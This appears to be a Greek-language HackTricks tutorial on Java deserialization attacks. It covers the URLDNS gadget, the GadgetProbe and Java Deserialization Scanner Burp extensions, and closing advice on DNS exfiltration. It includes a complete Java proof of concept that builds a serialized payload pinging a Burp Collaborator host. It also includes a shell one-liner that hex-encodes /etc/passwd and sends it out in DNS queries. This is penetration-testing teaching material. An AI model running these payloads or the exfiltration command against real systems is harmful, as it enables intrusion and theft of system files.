16 KiB
Αποσυσκευοθέτηση DNS σε Java, GadgetProbe και Σαρωτής Αποσυσκευοθέτησης Java
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Αίτηση DNS κατά την αποσυσκευοθέτηση
Η κλάση java.net.URL
υλοποιεί το Serializable
, αυτό σημαίνει ότι αυτή η κλάση μπορεί να αποσυσκευοθετηθεί.
public final class URL implements java.io.Serializable {
Αυτή η κλάση έχει ένα περίεργο συμπεριφορά. Σύμφωνα με την τεκμηρίωση: "Δύο κόμβοι θεωρούνται ισοδύναμοι εάν και οι δύο ονομασίες κόμβων μπορούν να αναλυθούν στις ίδιες διευθύνσεις IP".
Έτσι, κάθε φορά που ένα αντικείμενο URL καλεί οποιαδήποτε από τις συναρτήσεις equals
ή hashCode
, θα αποστέλλεται ένα αίτημα DNS για να ληφθεί η διεύθυνση IP.
Είναι αρκετά εύκολο να καλέσετε τη συνάρτηση hashCode
από ένα αντικείμενο URL, αρκεί να εισάγετε αυτό το αντικείμενο μέσα σε ένα HashMap
που θα αποδημιουργηθεί. Αυτό συμβαίνει επειδή στο τέλος της συνάρτησης readObject
από το HashMap
, εκτελείται ο παρακάτω κώδικας:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Θα εκτελέσει την putVal
με κάθε τιμή μέσα στο HashMap
. Ωστόσο, πιο σημαντική είναι η κλήση της hash
με κάθε τιμή. Αυτός είναι ο κώδικας της συνάρτησης hash
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Όπως μπορείτε να παρατηρήσετε, κατά την αποσειριοποίηση ενός HashMap
, η συνάρτηση hash
θα εκτελεστεί με κάθε αντικείμενο και κατά τη διάρκεια της εκτέλεσης της hash
, θα εκτελεστεί το .hashCode()
του αντικειμένου. Επομένως, αν αποσειριοποιήσετε ένα HashMap
που περιέχει ένα αντικείμενο URL, το αντικείμενο URL θα εκτελέσει το .hashCode()
.
Τώρα, ας ρίξουμε μια ματιά στον κώδικα του URLObject.hashCode()
:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Όπως μπορείτε να δείτε, όταν ένα URLObject
εκτελεί την .hashCode()
, καλείται hashCode(this)
. Συνεχίζοντας, μπορείτε να δείτε τον κώδικα αυτής της συνάρτησης:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Μπορείτε να δείτε ότι εκτελείται ένα getHostAddress
στον τομέα, εκτελώντας ένα ερώτημα DNS.
Επομένως, αυτή η κλάση μπορεί να καταχραστεί για να εκτελέσει ένα ερώτημα DNS για να αποδείξει ότι η αποσυσκευοποίηση είναι δυνατή, ή ακόμα και για να εξαφανίσει πληροφορίες (μπορείτε να προσθέσετε ως υποτομέα την έξοδο ενός εκτελέσιμου εντολών).
Παράδειγμα κώδικα πληρωμής URLDNS
Μπορείτε να βρείτε τον κώδικα πληρωμής URDNS από το ysoserial εδώ. Ωστόσο, απλά για να το κατανοήσετε ευκολότερα πώς να το κωδικοποιήσετε, δημιούργησα το δικό μου PoC (βασισμένο στο PoC του ysoserial):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Περισσότερες πληροφορίες
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- Στην αρχική ιδέα, το payload της commons collections άλλαξε για να εκτελέσει μια αναζήτηση DNS, αυτό ήταν λιγότερο αξιόπιστο από την προτεινόμενη μέθοδο, αλλά αυτή είναι η ανάρτηση: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Μπορείτε να κατεβάσετε το GadgetProbe από το Burp Suite App Store (Extender).
Το GadgetProbe θα προσπαθήσει να καταλάβει αν κάποιες κλάσεις Java υπάρχουν στην κλάση Java του διακομιστή, έτσι ώστε να μπορείτε να γνωρίζετε αν είναι ευάλωτος σε κάποια γνωστή εκμετάλλευση.
Πώς λειτουργεί
Το GadgetProbe θα χρησιμοποιήσει το ίδιο DNS payload της προηγούμενης ενότητας, αλλά πριν από την εκτέλεση του DNS query θα προσπαθήσει να αποσειριοποιήσει μια αυθαίρετη κλάση. Αν η αυθαίρετη κλάση υπάρχει, το DNS query θα αποσταλεί και το GadgetProbe θα σημειώσει ότι αυτή η κλάση υπάρχει. Αν το αίτημα DNS δεν αποσταλεί ποτέ, αυτό σημαίνει ότι η αυθαίρετη κλάση δεν αποσειριοποιήθηκε με επιτυχία, οπότε είτε δεν υπάρχει είτε δεν είναι αποσειριοποιήσιμη/εκμεταλλεύσιμη.
Μέσα στο github, το GadgetProbe έχει μερικά wordlists με κλάσεις Java για να δοκιμαστούν.
Περισσότερες πληροφορίες
Σαρωτής Αποσειριοποίησης Java
Αυτός ο σαρωτής μπορεί να κατεβάσει από το Burp App Store (Extender).
Η επέκταση έχει παθητικές και ενεργές δυνατότητες.
Παθητικές
Από προεπιλογή ελέγχει παθητικά όλα τα αιτήματα και τις απαντήσεις που στέλνονται ψάχνοντας για μαγικά bytes αποσειριοποίησης Java και θα εμφανίσει μια προειδοποίηση ευπάθειας αν βρεθεί οποιοδήποτε:
Ενεργές
Χειροκίνητος Έλεγχος
Μπορείτε να επιλέξετε ένα αίτημα, δεξί κλικ και Αποστολή αιτήματος στο DS - Χειροκίνητος Έλεγχος
.
Στη συνέχεια, μέσα στην καρτέλα Deserialization Scanner --> Καρτέλα Χειροκίνητου ελέγχου μπορείτε να επιλέξετε το σημείο εισαγωγής. Και ξεκινήστε τον έλεγχο (Επιλέξτε την κατάλληλη επίθεση ανάλογα με τη χρήση κωδικοποίησης).
Ακόμη κι αν αυτό ονομάζεται "Χειροκίνητος Έλεγχος", είναι αρκετά αυτοματοποιημένος. Θα ελέγξει αυτόματα αν η αποσειριοποίηση είναι ευάλωτη σε οποιοδήποτε ysoserial payload ελέγχοντας τις βιβλιοθήκες που υπάρχουν στον web server και θα επισημάνει τις ευάλωτες. Για να ελέγξετε για ευάλωτες βιβλιοθήκες μπορείτε να επιλέξετε να εκτελέσετε Javas Sleeps, sleeps μέσω κατανάλωσης CPU, ή χρησιμοποιώντας DNS όπως αναφέρθηκε προηγουμένως.
Εκμετάλλευση
Αφού εντοπίσετε μια ευάλωτη βιβλιοθήκη, μπορείτε να στείλετε το αίτημα στην καρτέλα Εκμετάλλευση.
Σε αυτήν την καρτέλα πρέπει να επιλέξετε ξανά το σημείο εισαγωγής, να γράψετε την ευάλωτη βιβλιοθήκη για την οποία θέλετε να δημιουργήσετε ένα payload, και την εντολή. Στη συνέχεια, απλά πατήστε το κατάλληλο κουμπί Attack.
Πληροφορίες Αποσειριοποίησης Java DNS Exfil
Κάντε το payload σας να εκτελέσει κάτι παρόμοιο με το παρακάτω:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Περισσότερες Πληροφορίες
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.